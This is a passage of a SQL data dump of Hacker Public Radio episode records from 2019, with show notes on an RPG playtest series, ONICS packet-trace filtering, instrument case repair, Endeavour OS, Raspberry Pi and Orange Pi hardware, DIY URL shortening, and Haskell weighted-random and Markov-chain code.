(2902,'2019-09-17','Stardrifter RPG Playtest Part 04',3286,'Lostnbronx and friends playtest a new, original RPG system.','<p>\r\nThis episode is Part 4 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.\r\n</p>\r\n<p>\r\nThis series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.\r\n</p>\r\n<p>\r\nIn this part, the characters have a job prospect...but is it legitimate, or are they being conned?\r\n</p>\r\n<p>\r\nSpecial thanks to my playtesters: Klaatu, Thaj, Mark (who was playing Brinn), and Brian!\r\n</p>',107,95,1,'CC-0','rpg, gaming, stardrifter, game construction, playtest',0,0,1),
(2907,'2019-09-24','Stardrifter RPG Playtest Part 05',3120,'Lostnbronx and friends playtest a new, original RPG system.','<p>\r\nThis episode is Part 5 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.\r\n</p>\r\n<p>\r\nThis series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.\r\n</p>\r\n<p>\r\nIn this part, the characters take on a contract to deal with some...hippies?\r\n</p>\r\n<p>\r\nSpecial thanks to my playtesters: Klaatu, Thaj, and Mark (who was playing Brinn)\r\n</p>',107,95,1,'CC-0','rpg, gaming, stardrifter, game construction, playtest',0,0,1),
(2885,'2019-08-23','ONICS Part 2: Filtering and Extraction',994,'In this episode I discuss commands to filter and/or extract packets from a packet trace file.','<p>In this episode we\'ll talk about filtering and dissecting packet traces and streams and introduce diffing. Remember that most tools have very flexible options for a variety of use cases. So check their manpages. Each man page also has multiple examples of how to use each tool.</p>\r\n<h3 id=\"counting-packets\">Counting Packets</h3>\r\n<ul>\r\n<li>Lets start with grabbing a trace from the unit tests:</li>\r\n</ul>\r\n<pre><code>   $ mkdir /tmp/packets\r\n   $ cd /tmp/packets\r\n   $ cp /path/to/onics/tests/data/packets/sample.xpkt .\r\n</code></pre>\r\n<ul>\r\n<li>Lets see what we have inside. First, lets see how many packets there are. We\'ll use a new tool \'pcount\'.</li>\r\n</ul>\r\n<pre><code>   $ pcount sample.xpkt\r\n\r\n   90 total packets and 19082 total bytes.\r\n</code></pre>\r\n<ul>\r\n<li>Good thing we looked first. Don\'t want to walk through all the packets.</li>\r\n</ul>\r\n<h3 id=\"scanning-packet-flows\">Scanning Packet Flows</h3>\r\n<ul>\r\n<li><p>Well, lets look at the connections or &quot;flows&quot; in the trace. We\'ll do this by using the \'nftrk\' command for &quot;network flow tracker&quot;.</p></li>\r\n<li><p>Like \'pcount\' this utility (and many or most ONICS utilities), this program can run on a live stream or a trace file. We\'ll run:</p></li>\r\n</ul>\r\n<pre><code>   $ nftrk -dt sample.xpkt | grep END\r\n</code></pre>\r\n<p>and get:</p>\r\n<pre><code>   |FLOW END|IP:ca=192.168.0.43,sa=224.0.0.251,proto=2|Start=1565446184.543,\r\n   End=1565446184.544,Dur=0.001|SENT:1,60|\r\n   ...\r\n   |FLOW END|IP:ca=192.168.0.7,sa=192.168.0.255,proto=17,cpt=631,spt=631|\r\n   Start=1565446184.543,End=1565446184.544,Dur=0.001|SENT:3,660|\r\n</code></pre>\r\n<ul>\r\n<li><p>\'nftrk\' tracks flows giving events like the start and end of each flow or connection. We just want a summary of all the connections so we just grep for \'END\' (all caps).</p></li>\r\n<li><p>We could just as easily have grepped for START, but this way we get the final number of packets sent and received on each connection. If we just want a count of the connections we can do:</p></li>\r\n</ul>\r\n<pre><code>   $ nftrk -dt sample.xpkt | grep START | wc -l\r\n</code></pre>\r\n<p>and that tells us that there are 10 flows in the trace.</p>\r\n<h3 id=\"basic-filtering\">Basic Filtering</h3>\r\n<ul>\r\n<li>Ok, so 90 packets, in 10 flows totalling ~19000 bytes. Lets now see about filtering the connection so we just get the TCP packets.</li>\r\n</ul>\r\n<pre><code>   $ pflt tcp sample.xpkt tcponly.xpkt\r\n\r\n   $ pcount tcponly.xpkt\r\n   73 total packets and 17184 total bytes.\r\n\r\n   $ nftrk -dt tcponly.xpkt | grep END | wc -l\r\n   2\r\n</code></pre>\r\n<ul>\r\n<li>We could have been super fancy and done:</li>\r\n</ul>\r\n<pre><code>   $ pflt tcp sample.xpkt |\r\n     pcount -p |\r\n     nftrk -t 2&gt;/tmp/flows &gt; tcponly.xpkt &amp;&amp;\r\n     echo -n &quot;Number of flows &quot; &amp;&amp;\r\n     grep END /tmp/flows | wc -l &amp;&amp;\r\n     rm -f /tmp/flows\r\n</code></pre>\r\n<ul>\r\n<li>Ok, enough of that. Anyway, now we have a trace file with only the TCP connections. Running</li>\r\n</ul>\r\n<pre><code>   $ nftrk -dt /tmp/tcponly.xpkt | grep END\r\n   |FLOW END|IP:ca=192.168.0.4,sa=192.168.0.7,proto=6,cpt=38859,spt=22|\r\n   Start=1566073862.612,End=1566073862.613,Dur=0.000|C2S:25,4561|S2C:30,5124|\r\n   |FLOW END|IP:ca=192.168.0.4,sa=64.233.169.147,proto=6,cpt=35071,spt=80|\r\n   Start=1566073862.613,End=1566073862.613,Dur=0.000|C2S:9,704|S2C:9,6795|\r\n</code></pre>\r\n<p>Shows that the server ports are 22 and 80 for the two connections. That\'s SSH and HTTP.</p>\r\n<ul>\r\n<li><p>The patterns we can use to filter packets are pretty standard across most of the ONICS tools.</p></li>\r\n<li><p>We\'ll discuss this is more detail in a future podcast. But if you want to see the kinds of fields you can match on go to</p></li>\r\n</ul>\r\n<pre><code>   $ man onics_proto\r\n</code></pre>\r\n<h3 id=\"extracting-ranges-of-packets\">Extracting Ranges of Packets</h3>\r\n<ul>\r\n<li>What if we wanted to just grab specific packets out of the trace file? Say we wanted packets 3-6. For that we would run:</li>\r\n</ul>\r\n<pre><code>   $ pxtr 3,6 sample.xpkt pkts-3-to-6.xpkt\r\n</code></pre>\r\n<ul>\r\n<li>Alternately we could ask for all packets from the 7th packet to the first TCP packet. We match using the same types of matching conditions as with pflt, but we must enclose them in {}s.</li>\r\n</ul>\r\n<pre><code>   $ pxtr &quot;7,{tcp}&quot; sample.xpkt | xpktdump\r\n</code></pre>\r\n<ul>\r\n<li>Lets say we just wanted to drop packets 5-10 from the stream. There are several ways to do this in ONICS, but using pxtr, the way we would do it would be:</li>\r\n</ul>\r\n<pre><code>   $ pxtr 1,4 sample.xpkt &gt; not-5-to-10.xpkt\r\n   $ pxtr 11,NONE sample.xpkt &gt;&gt; not-5-to-10.xpkt\r\n</code></pre>\r\n<ul>\r\n<li>Maybe I should add another option to pxtr to invert the boundary conditions. It\'s a tradeoff between having the tools do one thing and one thing well and supporting a potentially common use case.</li>\r\n</ul>\r\n<h3 id=\"differences-between-traces\">Differences Between Traces</h3>\r\n<ul>\r\n<li>Finally, lets look at one tool that I really like. Let\'s see the difference between the original stream and the one that we just created:</li>\r\n</ul>\r\n<pre><code>   $ pdiff sample.xpkt not-5-to-10.xpkt | less\r\n</code></pre>\r\n<ul>\r\n<li>Sure enough that shows us that packets 5-10 were dropped from the stream. If we do the reverse</li>\r\n</ul>\r\n<pre><code>   $ pdiff -v not-5-to-10.xpkt sample.xpkt | less\r\n</code></pre>\r\n<p>it describes the sample.xpkt from the perspective of starting with not-5-to-10.xpkt and inserting a bunch of packets into the middle.</p>\r\n<h3 id=\"conclusion\">Conclusion</h3>\r\n<ul>\r\n<li>In this podcast we looked at a few tools to help analyze and dissect packet traces or packet streams.</li>\r\n<li>Next time we\'ll look at some of the more powerful pattern matching we can apply and</li>\r\n</ul>\r\n',259,61,0,'CC-BY-SA','networking, command-line, tools',0,0,1),
(2894,'2019-09-05','Repairing a Musical Instrument Case',1318,'I talked about repairing the case for a Vietnamese Dan Tranh','<p>In this episode I talk about repairing the case for a Vietnamese Đàn tranh, a zither-like instrument which was donated to the School of Music by a member of the community. I also demonstrate the instrument as best I can so that you can hear what it sounds like.</p>\r\n\r\n<p>See the Flickr photo album that accompanies this show by clicking the image below.</p>\r\n\r\n<p><a data-flickr-embed=\"true\"  href=\"https://www.flickr.com/photos/137675441@N05/albums/72157710403088542\" title=\"Dan Tranh Case Repair\"><img src=\"https://live.staticflickr.com/65535/48570414971_d678f8ff0c.jpg\" width=\"500\" height=\"375\" alt=\"Dan Tranh Case Repair\"></a></p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/%C4%90%C3%A0n_tranh\">Đàn tranh</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Adhesive#Contact\">Contact cement</a></li>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Pentatonic_scale\">Pentatonic scale</a></li>\r\n</ul>\r\n\r\n<h2>Credits</h2>\r\n\r\n<ul>\r\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"https://www.opengoldbergvariations.org/\">https://www.opengoldbergvariations.org/</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>',238,0,0,'CC-BY-SA','Music, Musical Instruments, Repairs, DIY, Vietnamese Stringed Instruments',0,0,1),
(2895,'2019-09-06','The work of fire fighters, part 2',2370,'The continued introduction into the work of fire fighters','<p>Continued general basic knowledge of fire fighting.<br />\r\nAlso an extended invitation to ask questions in the comments.<br />\r\nps: I started making podcasts one year ago! o/</p>',369,0,0,'CC-BY-SA','fire fighting, fire brigade',0,0,1),
(2899,'2019-09-12','Endeavour OS',99,'A quick show introducing Endeavour OS','<p>Hi to all you out there in HPR land, this is a quick show to help out with the current summer shortage of shows.</p>\r\n<p>So over the last few months I’ve been busy with my new Podcasting career, well it fills in the time now I’m retired. Anyway the Distro-hoppers show has been getting a regular audience and recently we decided to branch out a little and open up the review format to the audience, you can find details of how to do that on the Blog.</p>\r\n<p>The most recent show was a review of the new Endeavour OS which has risen from the ashes of Antergos Linux an Arch based OS. Well I decided to use this opportunity to delve into the world of Arch for the first time with Endeavour OS and I can report I was pleasantly surprised with this slick iteration of Arch. OK when you first install Endeavour all you will have is a new XFCE 4.14 DE and some basic software to get you started, you are then expected to do a little research to find out how to install other software you need to get your PC setup the way you like but all the basic information on package management is on the Endeavour OS Wiki and also on the Arch Linux Wiki.</p>\r\n<p>If you have thought of trying Arch Linux but would prefer to start with a running Desktop from install then Endeavour OS is definitely the place to start. I have been running it as my daily Driver for over a month and have fallen in love with it.<br />\r\nMy full review is on the Distrohoppers Blog as is a link to the Audio of the show.</p>\r\n<p>That’s it for this time, this is Tony Hughes saying goodbye until next time.</p>\r\n<p><a href=\"https://distrohoppersdigest.blogspot.com/\" class=\"uri\">https://distrohoppersdigest.blogspot.com/</a></p>\r\n<p><a href=\"https://endeavouros.com/\" class=\"uri\">https://endeavouros.com/</a></p>\r\n<p><a href=\"https://www.archlinux.org/\" class=\"uri\">https://www.archlinux.org/</a></p>\r\n',338,0,0,'CC-BY-SA','EndeavourOS, Linux, Arch Linux, Distrohopping',0,0,1),
(2912,'2019-10-01','Stardrifter RPG Playtest Part 06',2013,'Lostnbronx and friends playtest a new, original RPG system.','<p>This episode is Part 6 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes. The remaining episodes in this mini-series, including this one, were all from the second session.</p>\r\n<p>This series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.</p>\r\n<p>In this part, the characters fly out to the derelict (though hardly empty) spaceship, and find a way to sneak aboard.</p>\r\n<p>Special thanks to my playtesters: Thaj, Mark (who was playing Brinn), and X1101!</p>\r\n',107,95,1,'CC-0','rpg, gaming, stardrifter, game construction, playtest',0,0,1),
(2917,'2019-10-08','Stardrifter RPG Playtest Part 07',1685,'Lostnbronx and friends playtest a new, original RPG system.','<p>This episode is Part 7 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.</p>\r\n<p>This series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.</p>\r\n<p>In this part, the characters make some new friends who show them their guns! Bonus Fun: I make tons of mistakes reading my own rules!</p>\r\n<p>Special thanks to my playtesters: Thaj, Mark (who was playing Brinn), and X1101!</p>\r\n',107,95,1,'CC-0','rpg, gaming, stardrifter, game construction, playtest',0,0,1),
(2922,'2019-10-15','Stardrifter RPG Playtest Part 08',1967,'Lostnbronx and friends playtest a new, original RPG system.','<p>This episode is Part 8 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.</p>\r\n<p>This series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.</p>\r\n<p>In this part, the characters reevaluate their life choices, and decide that negotiation is the better part of valor!</p>\r\n<p>Special thanks to my playtesters: Thaj, Mark (who was playing Brinn), and X1101!</p>\r\n',107,95,1,'CC-0','rpg, gaming, stardrifter, game construction, playtest',0,0,1),
(2927,'2019-10-22','Stardrifter RPG Playtest Part 09',1584,'Lostnbronx and friends playtest a new, original RPG system.','<p>This episode is Part 9 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.</p>\r\n<p>This series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.</p>\r\n<p>In this part, the characters agree to join someone else’s treasure hunt, with the success (or failure) of their own mission in the balance!</p>\r\n<p>Special thanks to my playtesters: Thaj, Mark (who was playing Brinn), and X1101!</p>\r\n',107,95,1,'CC-0','rpg, gaming, stardrifter, game construction, playtest',0,0,1),
(2893,'2019-09-04','Whats in the box! Part 2',727,'NYbill finishes a guitar pedal kit Timttmy sent him. ','<p>In this short follow up episode NYbill troubleshoots the Tremlo guitar kit Timttmy sent him.</p>\r\n<p>Here is a hint, there were two problems, not just one.</p>\r\n<p>Pics for the episode:</p>\r\n<p><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/whats-in-the-box-part-2/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/whats-in-the-box-part-2/</a></p>\r\n',235,103,0,'CC-BY-SA','guitar, pedal, tremlo, kit, DIY, soldering',0,0,1),
(2932,'2019-10-29','Stardrifter RPG Playtest Part 10',3255,'Lostnbronx and friends playtest a new, original RPG system.','<p>This episode is Part 10 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.</p>\r\n<p>This series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.</p>\r\n<p>It’s not unusual for a game master to have two sets of maps for an adventure: one is for the players, which only has the sort of information on it that their characters might reasonably have access to; the other is NOT for the players, as it shows all the special information they shouldn’t know about (at least, not all at once). This is where you’d make note of secret doors, hidden objects or enemies, and/or, as in the case of this playtest, the physical condition of the ship as it stands at the moment.</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2932/Player-Cargo-Ship-2000x2624.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2932/Player-Cargo-Ship-666x874.jpg\" alt=\"Player Map\" width=\"666\" height=\"874\" /></a><br />\r\nPlayer Map</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2932/GM-Cargo-Ship-2000x2786.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2932/GM-Cargo-Ship-627x874.jpg\" alt=\"Game Master Map\" width=\"627\" height=\"874\" /></a><br />\r\nGame Master Map</p>\r\n<p>Additionally, here’s a zip file containing the adventure, the maps, the floor plan descriptions, some miscellaneous non-player characters, and the Stardrifter RPG rules in EPUB format. Again, these are no longer the LATEST version of the rules, but they are what we used for these episodes.</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2932/Stardrifter-RPG-Playtest_Squatters-Rights.zip\">Stardrifter-RPG-Playtest_Squatters-Rights.zip</a></p>\r\n<p>In this final part of the mini-series, the players provide their hard-working game designer with some valuable feedback, observations, and general opinions!</p>\r\n<p>Special thanks to my playtesters in this episode: Thaj, Mark (who was playing Brinn), and X1101!</p>\r\n',107,95,1,'CC-0','rpg, gaming, stardrifter, game construction, playtest',0,0,1),
(2896,'2019-09-09','Orange PI Zero LTS version',737,'A general overview of the Orange PI Zero LTS','<ul>\r\n<li><p>A general overview of the Orange PI Zero LTS version<br />\r\n<a href=\"https://www.orangepi.org/orangepizerolts/\" class=\"uri\">https://www.orangepi.org/orangepizerolts/</a><br />\r\n<a href=\"https://www.geeky-gadgets.com/raspberry-pi-alternative-12-08-2019/\" class=\"uri\">https://www.geeky-gadgets.com/raspberry-pi-alternative-12-08-2019/</a></p></li>\r\n<li><p>This is the one I really liked<br />\r\n<a href=\"https://www.cnx-software.com/2019/07/31/buy-orange-pi-zero-lts-sbc/\" class=\"uri\">https://www.cnx-software.com/2019/07/31/buy-orange-pi-zero-lts-sbc/</a></p></li>\r\n<li><p>This is were the software is<br />\r\n<a href=\"https://www.armbian.org\" class=\"uri\">https://www.armbian.org</a></p></li>\r\n</ul>\r\n',129,0,0,'CC-BY-SA','Raspberry PI, OrangePI, Armbian, Hobby Computing, VNC',0,0,1),
(2901,'2019-09-16','Describing how I listen to podcasts PART 3',835,'In this episode I cover the 1st add-on board I purchased for one of my raspberry pi\'s','<p>In this series I cover how I listen to podcasts and how the process has changed over the years. In this episode I cover the 1st add-on board I purchased for one of my raspberry pi’s I then go on to explain what I do with it.</p>\r\n<ul>\r\n<li><p>Raspberry pi<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Raspberry_Pi\" class=\"uri\">https://en.wikipedia.org/wiki/Raspberry_Pi</a></p></li>\r\n<li><p>Piface Digital IO, pictures and links<br />\r\n<a href=\"https://www.piface.org.uk/products/piface_digital/\" class=\"uri\">https://www.piface.org.uk/products/piface_digital/</a><br />\r\n<a href=\"https://www.piface.org.uk/products/piface_digital_2/\" class=\"uri\">https://www.piface.org.uk/products/piface_digital_2/</a><br />\r\nSoftware Documentation <a href=\"https://piface.github.io/pifacedigitalio/\" class=\"uri\">https://piface.github.io/pifacedigitalio/</a></p></li>\r\n<li>Command used to install the software &amp; libraries to use the Piface Digital IO board, command from companies website:</li>\r\n</ul>\r\n<pre><code>    sudo apt-get install python{,3}-pifacedigitalio</code></pre>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2901/Picture-01.JPG\" alt=\"Picture 1\" /><br />\r\nPicture 1, shows the Piface Digital IO board installed on top of my raspberry pi</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2901/Picture-02.JPG\" alt=\"Picture 2\" /><br />\r\nPicture 2, shows the extension board I built. The extension board increases the number of available LED’s and switches. The board is attached via a ribbon cable with the ends of the wire inserted into the green and orange screw down chocolate blocks attached to the Piface Digital IO board.</p>\r\n<ul>\r\n<li><p>Command to toggle between play and pause in moc is<br />\r\n<code>mocp -G</code> or <code>mocp –toggle-pause</code><br />\r\nmoc man page <a href=\"https://www.mankier.com/1/mocp\" class=\"uri\">https://www.mankier.com/1/mocp</a><br />\r\nmoc homepage <a href=\"https://moc.daper.net/\" class=\"uri\">https://moc.daper.net/</a></p></li>\r\n<li><p>Uptime man page <a href=\"https://linux.die.net/man/1/uptime\" class=\"uri\">https://linux.die.net/man/1/uptime</a></p></li>\r\n</ul>\r\n<h3 id=\"explanation-of-how-to-read-a-binary-display\">Explanation of how to read a binary display</h3>\r\n<p>The board I built which attaches to the Piface Digital board has a total of 8 LED’s. I use the 8 LED’s to display a number in binary format. In binary each LED has only two values either on or off, with 1 LED you can count to 1 with two LED’s you can count to 3. This may seem confusing if you’ve never dealt with binary before. Starting from the right each subsequent LED represents double the value of the previous one so the 1st LED has a value of 1 the 2nd LED has a value of 2, the third LED has a value of 4 and so on. See below</p>\r\n<pre><code>LED Number   8   7   6   5  4  3  2  1\r\nLED VALUES 128, 64, 32, 16, 8, 4, 2, 1</code></pre>\r\n<p>LED on represents 1, LED off represents 0</p>\r\n<p><code>[Example 1]    0   0   0   0  0  0  0  1  [Represented value 1]</code><br />\r\n1st LED on value = 1</p>\r\n<p><code>[Example 2]    0   0   0   0  0  0  1  1  [Represented value 3]</code><br />\r\n1st and 2nd LED on, LED VALUE 1 + 2 = 3</p>\r\n<p><code>[Examples 3]   0   0   0   0  1  0  1  0  [Represented value 10]</code><br />\r\n2nd and 4th LED on, LED VALUE 2 + 8 = 10</p>\r\n<p>With practice it gets easy to convert from binary to decimal, at my work we still have a very old computer which contains a front panel with LED’s and binary switches. To load the computer instructions must be loaded in binary using flip switches and LED’s with practice it becomes second nature.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><p>Further information on binary numbers <a href=\"https://en.wikipedia.org/wiki/Binary_number\" class=\"uri\">https://en.wikipedia.org/wiki/Binary_number</a></p></li>\r\n<li><p><code>df</code> man page (Disk Free) <a href=\"https://linux.die.net/man/1/df\" class=\"uri\">https://linux.die.net/man/1/df</a></p></li>\r\n<li><p><code>aplay</code> man page <a href=\"https://linux.die.net/man/1/aplay\" class=\"uri\">https://linux.die.net/man/1/aplay</a></p></li>\r\n</ul>\r\n',201,0,1,'CC-BY-SA','Audio, Podcasts, Linux, Command Line, hardware, electronics, Raspberry Pi',0,0,1),
(2918,'2019-10-09','Selecting random item from weighted list',1604,'How to selected random item from weighted list using Haskell','<h2 id=\"intro\">Intro</h2>\r\n<p>We’re going to have a look how to select random item from weighted list. There isn’t that much code this time, but it certainly took many tries to get it working and looking nice.</p>\r\n<h2 id=\"analogy\">Analogy</h2>\r\n<p>Imagine stack of building blocks of different heights stacked on top of each other. Height of the each block is chance of how often it will be selected. Selection is done by chopping a stick so that its length at maximum is height of the stack. Place stick next to the stack and select the block that stick reaches at.</p>\r\n<h2 id=\"explanation-of-algorithm\">Explanation of algorithm</h2>\r\n<p>We have list of items and associated weight, defined as <code>Frequency a = Frequency Int a</code>.</p>\r\n<p>Total is sum of all the weights and we select a random number <code>n</code> between 1 and total.</p>\r\n<p><code>pick</code> function has signature of <code>[Frequency a] -&gt; n -&gt; Maybe a</code>. Empty list will result <code>Nothing</code>. When picking item, if <code>n</code> is equal or less than weight of the first item, return that item. Otherwise, drop the first item, subtract weight of that first item from <code>n</code> and try again. Eventually we either arrive to item which weight is greater than <code>n</code> or to empty list.</p>\r\n<h2 id=\"quick-detour-on-random-number-generators\">Quick detour on random number generators</h2>\r\n<p>Haskell functions are pure, meaning that with same input, you are guaranteed to get the same output (safe for some specific cases). Which makes concept of random numbers at first glance to be impossible. This is solved by passing in a random number generator, which can supply you a random value a new random number generator. Using this new random number generator to generate a value yields you a yet another value and yet another random number generator.</p>\r\n<p>Passing these random number generators around in code gets tedious, but there’s different solution: <code>MonadRandom</code>. Using it will thread along generators automatically behind the scenes, ensuring that you always have access to a fresh generator. There’s several functions that can be used to generate random values, but we’re using this one: <code>getRandomR :: Random a =&gt; (a, a) -&gt; m a</code>. Given a lower and upper bound, it will return you a random value wrapped in context that carries that new random number generator.</p>\r\n<p>In the end, we need to take our computation (that can be complex and use multiple calls to random number generator) and turn that <code>m a</code> into <code>a</code>. This is done with <code>runRand :: RandomGen g =&gt; Rand g a -&gt; g -&gt; (a, g)</code>. We give it our computation and a <code>RandomGen g</code> that can generate random values and receive <code>(a, g)</code> where <code>a</code> is our result and <code>g</code> new random number generator. In cases where we aren’t going to use the new generator, we can use <code>evalRand :: RandomGen g =&gt; Rand g a -&gt; g -&gt; a</code>, which discards it and returns just <code>a</code>.</p>\r\n<h2 id=\"actual-implementation-with-explanation\">Actual implementation with explanation</h2>\r\n<p>First, <code>Frequency</code> for expressing weight of individual item. It’s parametrized, so can be used with any data.</p>\r\n<pre><code>data Frequency a = Frequency Int a\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>Next, determining which item to choose, based on stack and measuring stick. In case a value outside of valid range has been selected, we end up with <code>Nothing</code>, otherwise with <code>Just a</code>. First case is for empty list (either we called this originally with empty list or picked number that is greater than total sum of weights), second one either picks the first item of list or recursive calls itself removing first item.</p>\r\n<pre><code>pick :: [Frequency a] -&gt; Int -&gt; Maybe a\r\npick [] _ = Nothing\r\n\r\npick (Frequency x item:xs) i\r\n    | i &lt;= x = Just item\r\n    | otherwise = pick xs (i - x)</code></pre>\r\n<p>Finally, function for calculating total of weights and choosing random number. We’re using that <code>Rand g (Maybe a)</code> I explained earlier. First case is for empty list again and latter case for list with at least one item.</p>\r\n<pre><code>choose :: RandomGen g =&gt; [Frequency a] -&gt; Rand g (Maybe a)\r\nchoose [] =\r\n    return Nothing\r\n\r\nchoose items = do\r\n    let total = sum $ fmap (\\(Frequency x _) -&gt; x) items\r\n    n &lt;- getRandomR (1, total)\r\n    return $ pick items n</code></pre>\r\n<p>Notice how we can get random number by <code>n &lt;- getRandomR (1, total)</code>, without talking about generators. <code>MonadRandom</code> is handling generators and making sure that there’s always a fresh generator available and new generator is stored ready to be used.</p>\r\n<p>And that’s all the code this time (I told the amount of code is small this time).</p>\r\n<h2 id=\"in-closing\">In closing</h2>\r\n<p>This probably sounds a lot more complicated than it actually is. I arrived to the result after quite many detours, but the end result looks pretty nice.</p>\r\n<p>Next time we’re going to have a look where to use our <code>choose</code> function.</p>\r\n<p>In the meantime, questions, comments and feedback are welcomed. Best way to reach me is email or fediverse where I’m <code>tuturto@mastodon.social</code>. Or even better, record your own Hacker Public Radio episode.</p>\r\n',364,107,0,'CC-BY-SA','haskell, random, monad',0,0,1),
(2904,'2019-09-19','DIY URL shortening',738,'Quick tip on how to shorten an URL without a silly SaaS','<p>\r\nMake a directory to house your shortened URLs.\r\n</p>\r\n\r\n<pre><code>\r\n$ ssh example.com mkdir public_html/u\r\n</code></pre>\r\n\r\n<p>\r\nOn demand, create a subdirectory for the shortened URL you want to create.\r\n</p>\r\n\r\n<pre><code>\r\n$ ssh example.com mkdir public_html/u/hpr\r\n</code></pre>\r\n\r\n<p>\r\nCreate an HTTP redirect in an index.html file.\r\n</p>\r\n\r\n<pre><code>\r\n$ ssh example.com echo \"\"&lt;html>&lt;title>Shortened URL&lt;/title>&lt;head>&lt;meta http-equiv=\'refresh\' content=\'0; URL=http:&#47;&#47;hackerpublicradio.org&#47;correspondents.php?hostid=78\' />&lt;/head>&lt;/html>\"\" &gt; www/u/hpr/index.html\r\n</code></pre>\r\n\r\n<p>\r\nYour shortened URL is example.com/u/hpr\r\n</p>\r\n',78,0,0,'CC-BY-SA','html, url shortner',0,0,1),
(2928,'2019-10-23','Building markov chains with Haskell',1798,'How to build markov chains with Haskell','<h2 id=\"intro\">Intro</h2>\r\n<p>Last time we built a weighted list, this time we’re using that to build markov chains. Wikipedia states that “A Markov chain is a stochastic model describing a sequence of possible events in which the probability of each event depends only on the state attained in the previous event.” and that they’re named after the Russian mathematician Andrey Markov.</p>\r\n<h2 id=\"configuration\">Configuration</h2>\r\n<p>We’re after generic system, hence parametrized data types.</p>\r\n<p>First part is <code>Configuration a</code> that lists possible starting elements of chain and elements that can follow a particular element.</p>\r\n<pre><code>data Config a = Config\r\n    { configStarts :: ![Item a]\r\n    , configContinuations :: !(Map a [Item a])\r\n    } deriving (Show, Read, Eq)</code></pre>\r\n<p>Second part is <code>Item a</code>, that just holds single item that could appear in chain and relatively frequency for its appearance.</p>\r\n<pre><code>data Item a =\r\n    Item (Frequency (Maybe a))\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>We’re using <code>Maybe a</code> as in some cases there’s chance of element being last element in chain. Thus, <code>Nothing</code> will represent end of chain.</p>\r\n<p>In previous episode, we implemented <code>choose</code>, but later on I decided to rename it to <code>chooseM</code>. So when you see <code>chooseM</code>, it’s just different name for what we implemented previously.</p>\r\n<h2 id=\"building-a-chain\">Building a chain</h2>\r\n<p>Since building a configuration depends on the case quite a bit, we’re just going to assume that we have one at hand.</p>\r\n<p>Our chains are built by <code>chainM :: (Ord a, RandomGen g) =&gt; Config a -&gt; Rand g [a]</code>. Given a config, it creates computation that when run will return list of <code>a</code>, which is our chain.</p>\r\n<p>Implementation is fairly straightforward:</p>\r\n<pre><code>chainM config = do\r\n    starter &lt;- chooseM (itemToFreq &lt;$&gt; configStarts config)\r\n    case join starter of\r\n        Nothing -&gt;\r\n            return []\r\n\r\n        Just h -&gt; do\r\n            t &lt;- tailOfChain config h\r\n            return $ h : t</code></pre>\r\n<p>First we select item from starting elements. In case there isn’t one, result will be a empty list. Otherwise we use <code>tailOfChain</code> to compute rest of the list and return a list of starter element followed by that tail.</p>\r\n<p>For tail we need to figure out first what possible elements there are that can follow a given element. This is done by <code>candidates</code> function. <code>lookup</code> finds a possible list of elements in <code>configContinuations</code>. We use <code>itemToFreq</code> to turn this list into frequencies. Since <code>items</code> might be <code>Nothing</code> (in case where there aren’t any suitable continuations present) and any continuation in the list might be <code>Nothing</code> (in case where this is possibly terminating element), we have to use <code>(fmap . fmap)</code> to apply <code>itemToFreq</code> to each possible element. Moreover, <code>concat</code> turns our <code>Maybe [Frequency (Maybe a)]</code> into <code>[Frequency (Maybe a)]</code>, if we have <code>Nothing</code> at this stage, result will be an empty list <code>[]</code>.</p>\r\n<pre><code>candidates :: (Ord a) =&gt; Config a -&gt; a -&gt; [Frequency (Maybe a)]\r\ncandidates config x =\r\n    concat $ (fmap . fmap) itemToFreq items\r\n  